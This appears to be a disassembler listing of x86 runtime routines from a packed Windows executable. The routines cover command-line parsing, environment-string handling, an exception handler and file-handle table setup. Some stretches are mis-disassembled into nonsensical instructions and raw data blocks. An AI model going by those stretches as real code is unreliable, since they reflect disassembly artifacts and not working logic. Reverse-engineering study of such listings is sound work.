		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_422FB6:				; CODE XREF: .nsp0:00422FAFj
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4E2A61[ebx], 4
		jz	short loc_422FD1
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_422FD0
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_422FD0:				; CODE XREF: .nsp0:00422FC9j
		inc	eax


loc_422FD1:				; CODE XREF: .nsp0:00422FC3j
		cmp	dl, 20h
		jz	short loc_422FDF
		test	dl, dl
		jz	short loc_422FE3
		cmp	dl, 9
		jnz	short loc_422FAB


loc_422FDF:				; CODE XREF: .nsp0:00422FD4j
		test	dl, dl
		jnz	short loc_422FE6


loc_422FE3:				; CODE XREF: .nsp0:00422FD8j
		dec	eax
		jmp	short loc_422FEE
; ---------------------------------------------------------------------------


loc_422FE6:				; CODE XREF: .nsp0:00422FE1j
		test	esi, esi
		jz	short loc_422FEE
		and	byte ptr [esi-1], 0


loc_422FEE:				; CODE XREF: .nsp0:00422FA6j
					; .nsp0:00422FA9j ...
		and	dword ptr [ebp+18h], 0


loc_422FF2:				; CODE XREF: .nsp0:004230D6j
		cmp	byte ptr [eax],	0
		jz	loc_4230DB


loc_422FFB:				; CODE XREF: .nsp0:00423008j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_423007
		cmp	dl, 9
		jnz	short loc_42300A


loc_423007:				; CODE XREF: .nsp0:00423000j
		inc	eax
		jmp	short loc_422FFB
; ---------------------------------------------------------------------------


loc_42300A:				; CODE XREF: .nsp0:00423005j
		cmp	byte ptr [eax],	0
		jz	loc_4230DB
		test	edi, edi
		jz	short loc_42301F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+0Ch], edi


loc_42301F:				; CODE XREF: .nsp0:00423015j
		mov	edx, [ebp+14h]
		inc	dword ptr [edx]


loc_423024:				; CODE XREF: .nsp0:004230C7j
		mov	dword ptr [ebp+8], 1
		xor	ebx, ebx


loc_42302D:				; CODE XREF: .nsp0:00423034j
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423036
		inc	eax
		inc	ebx
		jmp	short loc_42302D
; ---------------------------------------------------------------------------


loc_423036:				; CODE XREF: .nsp0:00423030j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423067
		test	bl, 1
		jnz	short loc_423065
		xor	edi, edi
		cmp	[ebp+18h], edi
		jz	short loc_423054
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423054
		mov	eax, edx
		jmp	short loc_423057
; ---------------------------------------------------------------------------


loc_423054:				; CODE XREF: .nsp0:00423045j
					; .nsp0:0042304Ej
		mov	[ebp+8], edi


loc_423057:				; CODE XREF: .nsp0:00423052j
		mov	edi, [ebp+0Ch]
		xor	edx, edx
		cmp	[ebp+18h], edx
		setz	dl
		mov	[ebp+18h], edx


loc_423065:				; CODE XREF: .nsp0:0042303Ej
		shr	ebx, 1


loc_423067:				; CODE XREF: .nsp0:00423039j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_42307C
		inc	ebx


loc_42306F:				; CODE XREF: .nsp0:0042307Aj
		test	esi, esi
		jz	short loc_423077
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_423077:				; CODE XREF: .nsp0:00423071j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42306F


loc_42307C:				; CODE XREF: .nsp0:0042306Cj
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4230CC
		cmp	dword ptr [ebp+18h], 0
		jnz	short loc_423092
		cmp	dl, 20h
		jz	short loc_4230CC
		cmp	dl, 9
		jz	short loc_4230CC


loc_423092:				; CODE XREF: .nsp0:00423086j
		cmp	dword ptr [ebp+8], 0
		jz	short loc_4230C6
		test	esi, esi
		jz	short loc_4230B5
		movzx	ebx, dl
		test	byte_4E2A61[ebx], 4
		jz	short loc_4230AE
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_4230AE:				; CODE XREF: .nsp0:004230A6j
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4230C4
; ---------------------------------------------------------------------------


loc_4230B5:				; CODE XREF: .nsp0:0042309Aj
		movzx	edx, dl
		test	byte_4E2A61[edx], 4
		jz	short loc_4230C4
		inc	eax
		inc	dword ptr [ecx]


loc_4230C4:				; CODE XREF: .nsp0:004230B3j
					; .nsp0:004230BFj
		inc	dword ptr [ecx]


loc_4230C6:				; CODE XREF: .nsp0:00423096j
		inc	eax
		jmp	loc_423024
; ---------------------------------------------------------------------------


loc_4230CC:				; CODE XREF: .nsp0:00423080j
					; .nsp0:0042308Bj ...
		test	esi, esi
		jz	short loc_4230D4
		and	byte ptr [esi],	0
		inc	esi


loc_4230D4:				; CODE XREF: .nsp0:004230CEj
		inc	dword ptr [ecx]
		jmp	loc_422FF2
; ---------------------------------------------------------------------------


loc_4230DB:				; CODE XREF: .nsp0:00422FF5j
					; .nsp0:0042300Dj
		test	edi, edi
		jz	short loc_4230E2
		and	dword ptr [edi], 0


loc_4230E2:				; CODE XREF: .nsp0:004230DDj
		mov	eax, [ebp+14h]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4230EC	proc near		; CODE XREF: .nsp0:0041E082p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_4E16D8
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42313A
		call	ebp ; dword_42703C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_42311B
		mov	dword_4E16D8, 1
		jmp	short loc_423143
; ---------------------------------------------------------------------------


loc_42311B:				; CODE XREF: sub_4230EC+21j
		call	dword_427040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423215
		mov	dword_4E16D8, 2
		jmp	loc_4231C9
; ---------------------------------------------------------------------------


loc_42313A:				; CODE XREF: sub_4230EC+19j
		cmp	eax, 1
		jnz	loc_4231C4


loc_423143:				; CODE XREF: sub_4230EC+2Dj
		cmp	esi, ebx
		jnz	short loc_423153
		call	ebp ; dword_42703C
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423215


loc_423153:				; CODE XREF: sub_4230EC+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423168


loc_42315A:				; CODE XREF: sub_4230EC+73j
					; sub_4230EC+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42315A
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42315A


loc_423168:				; CODE XREF: sub_4230EC+6Cj
		sub	eax, esi
		mov	edi, dword_427180
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi ; dword_427180
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_4231B9
		push	ebp
		call	sub_41BBCB
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_4231B9
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi ; dword_427180
		test	eax, eax
		jnz	short loc_4231B5
		push	[esp+18h+var_8]
		call	sub_41B961
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_4231B5:				; CODE XREF: sub_4230EC+B9j
		mov	ebx, [esp+18h+var_8]


loc_4231B9:				; CODE XREF: sub_4230EC+99j
					; sub_4230EC+A8j
		push	esi
		call	dword_427044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_423217
; ---------------------------------------------------------------------------


loc_4231C4:				; CODE XREF: sub_4230EC+51j
		cmp	eax, 2
		jnz	short loc_423215


loc_4231C9:				; CODE XREF: sub_4230EC+49j
		cmp	edi, ebx
		jnz	short loc_4231D9
		call	dword_427040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423215


loc_4231D9:				; CODE XREF: sub_4230EC+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4231E9


loc_4231DF:				; CODE XREF: sub_4230EC+F6j
					; sub_4230EC+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4231DF
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4231DF


loc_4231E9:				; CODE XREF: sub_4230EC+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4231FF
		xor	esi, esi
		jmp	short loc_42320A
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: sub_4230EC+10Dj
		push	ebp
		push	edi
		push	esi
		call	near ptr sub_41C9B0
		add	esp, 0Ch


loc_42320A:				; CODE XREF: sub_4230EC+111j
		push	edi
		call	near ptr 0B40000h
		aas
		mov	eax, esi
		jmp	short loc_423217
; ---------------------------------------------------------------------------


loc_423215:				; CODE XREF: sub_4230EC+39j
					; sub_4230EC+61j ...
		xor	eax, eax


loc_423217:				; CODE XREF: sub_4230EC+D6j
					; sub_4230EC+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_4230EC	endp

; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: .nsp0:0041E072p
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_42323E
		push	1Bh
		call	sub_41E0F9
		pop	ecx


loc_42323E:				; CODE XREF: .nsp0:00423234j
		mov	dword_4E1820, esi
		mov	dword_4E1920, 20h
		lea	eax, [esi+100h]


loc_423254:				; CODE XREF: .nsp0:00423270j
		cmp	esi, eax
		jnb	short loc_423272
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4E1820
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423254
; ---------------------------------------------------------------------------


loc_423272:				; CODE XREF: .nsp0:00423256j
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 0B40000h
		and	byte ptr [esi-7Dh], 7Ch
		and	al, 42h
		add	[edi], cl
		test	al, ch
; ---------------------------------------------------------------------------
		dw 0
		dd 24448B00h, 0FC08544h, 0B984h, 8D308B00h, 0B80468h, 3B000008h
		dd 2E1C8DF0h, 0F08B027Ch, 19203539h, 527D004Eh,	4E1824BFh
		dd 1006800h, 0CE80000h,	85FFFF89h, 387459C0h, 19200583h
		dd 8920004Eh, 888D07h, 3B000001h, 801873C1h, 83000460h
		dd 40C6FF08h, 0F8B0A05h, 8108C083h, 100C1h, 83E4EB00h
		dd 353904C7h, 4E1920h, 6EBBB7Ch, 1920358Bh, 0FF33004Eh
		dd 467EF685h, 0F883038Bh, 8A3674FFh, 0C1F6004Dh, 0F62E7401h
		dd 0B7508C1h, 0CCDEE850h, 85200071h, 8B1E74C0h,	0C1CF8BC7h
		dd 0E18305F8h, 85048B1Fh, 4E1820h, 8BC8048Dh, 8A08890Bh
		dd 4888004Dh, 83454704h, 0FE3B04C3h, 0DB33BA7Ch, 4E1820A1h
		dd 0D83C8300h, 0D8348DFFh, 0DB854D75h, 810446C6h, 0F66A0575h
		dd 8B0AEB58h, 0D8F748C3h, 0C083C01Bh, 85E850F5h, 4C0071CCh
		dd 0FF83F88Bh, 571774FFh, 71CC77E8h, 0C085B400h, 0FF250C74h
		dd 89000000h, 2F8833Eh,	4E800675h, 0FEB4004h, 7503F883h
		dd 44E800Ah, 8004EB08h,	4380044Eh, 7C03FB83h, 2035FF9Bh
		dd 0E8004E19h, 71CC40h,	5D5E5F8Ah, 44C4835Bh, 0CCCCCCC3h
		dd 30324356h, 30304358h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4233D4	proc near		; DATA XREF: .nsp0:0041E00Do
					; sub_421EC2+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423474
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423407:				; CODE XREF: sub_4233D4+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42346D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42345B
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42345B
		js	short loc_423466
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D214
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D256
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D2EA
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42345B:				; CODE XREF: sub_4233D4+40j
					; sub_4233D4+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423407
; ---------------------------------------------------------------------------


loc_423466:				; CODE XREF: sub_4233D4+54j
		mov	eax, 0
		jmp	short loc_423489
; ---------------------------------------------------------------------------


loc_42346D:				; CODE XREF: sub_4233D4+36j
		mov	eax, 1
		jmp	short loc_423489
; ---------------------------------------------------------------------------


loc_423474:				; CODE XREF: sub_4233D4+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D256
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423489:				; CODE XREF: sub_4233D4+97j
					; sub_4233D4+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4233D4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D256
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4234AC	proc near		; CODE XREF: sub_41E0F9+9p
					; sub_41E11E+9p
		mov	eax, dword_4E1570
		cmp	eax, 1
		jz	short loc_4234C3
		test	eax, eax
		jnz	short locret_4234E4
		cmp	dword_442554, 1
		jnz	short locret_4234E4


loc_4234C3:				; CODE XREF: sub_4234AC+8j
		push	0FCh
		call	sub_4234E5
		mov	eax, dword_4E16DC
		pop	ecx
		test	eax, eax
		jz	short loc_4234D9
		call	eax ; dword_4E16DC


loc_4234D9:				; CODE XREF: sub_4234AC+29j
		push	0FFh
		call	sub_4234E5
		pop	ecx

locret_4234E4:				; CODE XREF: sub_4234AC+Cj
					; sub_4234AC+15j
		retn
sub_4234AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234E5	proc near		; CODE XREF: sub_41E0F9+12p
					; sub_41E11E+12p ...

var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8
arg_B		= byte ptr  13h

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_442E48


loc_4234F8:				; CODE XREF: sub_4234E5+20j
		cmp	edx, [eax]
		jz	short loc_423507
		add	eax, 8
		inc	ecx
		cmp	eax, offset dword_442ED8
		jl	short loc_4234F8


loc_423507:				; CODE XREF: sub_4234E5+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_442E48[esi]
		jnz	near ptr loc_423634+1
		mov	eax, dword_4E1570
		cmp	eax, 1
		jz	loc_42360F
		test	eax, eax
		jnz	short loc_423538
		cmp	dword_442554, 1
		jz	loc_42360F


loc_423538:				; CODE XREF: sub_4234E5+44j
		cmp	edx, 0FCh
		jz	near ptr loc_423634+1
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 0B40000h
		sbb	al, 85h
		sal	[ebp+arg_B], 8Dh
		test	[esi+edi*8-1], ebx
		jmp	fword ptr [eax+0Ch]
; ---------------------------------------------------------------------------
		dd 5000427Ch, 0FF8FE3E8h, 8D5959FFh, 0FFFE5C85h, 8D5057FFh
		dd 0FFFE5CBDh, 830EE8FFh, 5940FFFFh, 763CF883h,	5C858D29h
		dd 50FFFFFEh, 0FF82FBE8h, 8DF88BFFh, 0FFFE5C85h, 3BE883FFh
		dd 0F803036Ah, 427C0868h, 0F1E85700h, 83FFFF86h, 858D10C4h
		dd 0FFFFFF60h, 427BEC68h, 8DE85000h, 8DFFFF8Fh,	0FFFF6085h
		dd 0E85057FFh, 0FFFF8F90h, 0FF60858Dh, 0E868FFFFh, 5000427Bh
		dd 0FF8F7FE8h, 4CB6FFFFh, 8D00442Eh, 0FFFF6085h, 6DE850FFh
		dd 68FFFF8Fh, 12010h, 0FF60858Dh, 0C068FFFFh, 5000427Bh
		dd 16A4E8h, 2CC48300h
		db 5Fh,	0EBh, 26h
; ---------------------------------------------------------------------------


loc_42360F:				; CODE XREF: sub_4234E5+3Cj
					; sub_4234E5+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_442E4C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B890
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 0B40000h
		rcl	byte ptr [eax-18h], 1
		int	3		; Trap to Debugger
		leave
		jno	short $+2


loc_423634:				; CODE XREF: sub_4234E5+2Ej
					; sub_4234E5+59j
		adc	ebx, [esi-37h]
		retn
sub_4234E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_423638	proc near		; CODE XREF: sub_423896:loc_423A0Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4E1820


loc_423647:				; CODE XREF: sub_423638+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423684
		lea	edx, [eax+100h]


loc_423653:				; CODE XREF: sub_423638+28j
		cmp	eax, edx
		jnb	short loc_423673
		test	byte ptr [eax+4], 1
		jz	short loc_423662
		add	eax, 8
		jmp	short loc_423653
; ---------------------------------------------------------------------------


loc_423662:				; CODE XREF: sub_423638+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4236C7


loc_423673:				; CODE XREF: sub_423638+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4E1920
		jl	short loc_423647
		jmp	short loc_4236C7
; ---------------------------------------------------------------------------


loc_423684:				; CODE XREF: sub_423638+13j
		mov	esi, 100h
		push	esi
		call	sub_41BBCB
		test	eax, eax
		pop	ecx
		jz	short loc_4236C7
		add	dword_4E1920, 20h
		lea	ecx, ds:4E1820h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_4236AA:				; CODE XREF: sub_423638+88j
		cmp	eax, edx
		jnb	short loc_4236C2
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_4236AA
; ---------------------------------------------------------------------------


loc_4236C2:				; CODE XREF: sub_423638+74j
		shl	edi, 5
		mov	ebx, edi


loc_4236C7:				; CODE XREF: sub_423638+39j
					; sub_423638+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423638	endp

; ---------------------------------------------------------------------------


loc_4236CD:				; CODE XREF: sub_423896+1F4p
		mov	eax, [esp+4]
		push	esi
		cmp	eax, dword_4E1920
		push	edi
		jnb	short loc_42372D
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4E1820h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_42372D
		cmp	dword_442554, 1
		push	ebx
		mov	ebx, [esp+14h]
		jnz	short near ptr loc_423722+1
		sub	eax, 0
		jz	short loc_42371A
		dec	eax
		jz	short loc_423715
		dec	eax
		jnz	short near ptr loc_423722+1
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_42371D
; ---------------------------------------------------------------------------


loc_423715:				; CODE XREF: .nsp0:0042370Bj
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_42371D
; ---------------------------------------------------------------------------


loc_42371A:				; CODE XREF: .nsp0:00423708j
		push	ebx
		push	0FFFFFFF6h


loc_42371D:				; CODE XREF: .nsp0:00423713j
					; .nsp0:00423718j
		call	near ptr 0B40000h


loc_423722:				; CODE XREF: .nsp0:00423703j
					; .nsp0:0042370Ej
		sbb	[ebx+301C8907h], cl
		xor	eax, eax
		pop	ebx
		jmp	short loc_423741
; ---------------------------------------------------------------------------


loc_42372D:				; CODE XREF: .nsp0:004236D9j
					; .nsp0:004236F5j
		and	dword_4E14FC, 0
		mov	dword_4E14F8, 9
		or	eax, 0FFFFFFFFh


loc_423741:				; CODE XREF: .nsp0:0042372Bj
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423744	proc near		; CODE XREF: sub_41E142+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4E1920
		push	edi
		jnb	short loc_4237A7
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4E1820h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_4237A7
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_4237A7
		cmp	dword_442554, 1
		jnz	short loc_42379D
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423794
		dec	ecx
		jz	short loc_42378F
		dec	ecx
		jnz	short loc_42379D
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_423797
; ---------------------------------------------------------------------------


loc_42378F:				; CODE XREF: sub_423744+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_423797
; ---------------------------------------------------------------------------


loc_423794:				; CODE XREF: sub_423744+3Ej
		push	eax
		push	0FFFFFFF6h


loc_423797:				; CODE XREF: sub_423744+49j
					; sub_423744+4Ej
		call	near ptr 0B40000h
		das


loc_42379D:				; CODE XREF: sub_423744+38j
					; sub_423744+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4237BB
; ---------------------------------------------------------------------------


loc_4237A7:				; CODE XREF: sub_423744+Cj
					; sub_423744+2Aj ...
		and	dword_4E14FC, 0
		mov	dword_4E14F8, 9
		or	eax, 0FFFFFFFFh


loc_4237BB:				; CODE XREF: sub_423744+61j
		pop	edi
		pop	esi
		retn
sub_423744	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237BE	proc near		; CODE XREF: sub_41E142+32p
					; sub_41E142+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4E1920
		jnb	short loc_4237E6
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4E1820[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4237E6
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4237E6:				; CODE XREF: sub_4237BE+Aj
					; sub_4237BE+23j
		and	dword_4E14FC, 0
		mov	dword_4E14F8, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4237BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237FB	proc near		; CODE XREF: sub_41E220+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4E1920
		jnb	short loc_423844
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4E1820[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423844
		push	eax
		call	sub_4237BE
		pop	ecx
		push	eax
		call	near ptr 0B40000h
		sbb	[ebp-0F78A40h],	al
		adc	eax, offset dword_42708C
		jmp	short loc_42383B
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_42383B:				; CODE XREF: sub_4237FB+3Cj
		test	eax, eax
		jz	short locret_423851
		mov	dword_4E14FC, eax


loc_423844:				; CODE XREF: sub_4237FB+Aj
					; sub_4237FB+22j
		mov	dword_4E14F8, 9
		or	eax, 0FFFFFFFFh

locret_423851:				; CODE XREF: sub_4237FB+42j
		retn
sub_4237FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_423852	proc near		; CODE XREF: sub_41EEA8+32p
					; sub_41F3EF+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4E15C8
		push	1000h
		call	sub_41BBCB
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_42387B
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_42388C
; ---------------------------------------------------------------------------


loc_42387B:				; CODE XREF: sub_423852+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_42388C:				; CODE XREF: sub_423852+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_423852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423896	proc near		; CODE XREF: sub_41F192+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_4238BC
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_4238C7
; ---------------------------------------------------------------------------


loc_4238BC:				; CODE XREF: sub_423896+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_4238C7:				; CODE XREF: sub_423896+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_4238E1
		test	ch, 40h
		jnz	short loc_4238DD
		cmp	dword_4E17E8, eax
		jz	short loc_4238E1


loc_4238DD:				; CODE XREF: sub_423896+3Dj
		or	[ebp+var_1], 80h


loc_4238E1:				; CODE XREF: sub_423896+38j
					; sub_423896+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423919
		dec	eax
		jz	short loc_423910
		dec	eax
		jz	short loc_423907


loc_4238F2:				; CODE XREF: sub_423896+9Fj
					; sub_423896+E8j ...
		mov	dword_4E14F8, 16h
		mov	dword_4E14FC, ebx
		jmp	loc_423B2C
; ---------------------------------------------------------------------------


loc_423907:				; CODE XREF: sub_423896+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423920
; ---------------------------------------------------------------------------


loc_423910:				; CODE XREF: sub_423896+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423920
; ---------------------------------------------------------------------------


loc_423919:				; CODE XREF: sub_423896+54j
		mov	[ebp+var_C], 80000000h


loc_423920:				; CODE XREF: sub_423896+78j
					; sub_423896+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_42394E
		cmp	eax, 20h
		jz	short loc_423945
		cmp	eax, 30h
		jz	short loc_42393C
		cmp	eax, 40h
		jnz	short loc_4238F2
		mov	[ebp+var_10], esi
		jmp	short loc_423951
; ---------------------------------------------------------------------------


loc_42393C:				; CODE XREF: sub_423896+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423951
; ---------------------------------------------------------------------------


loc_423945:				; CODE XREF: sub_423896+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423951
; ---------------------------------------------------------------------------


loc_42394E:				; CODE XREF: sub_423896+90j
		mov	[ebp+var_10], ebx


loc_423951:				; CODE XREF: sub_423896+A4j
					; sub_423896+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_42399B
		jz	short loc_423996
		cmp	ecx, ebx
		jz	short loc_423996
		cmp	ecx, edi
		jz	short loc_42398D
		cmp	ecx, 200h
		jz	short loc_4239B4
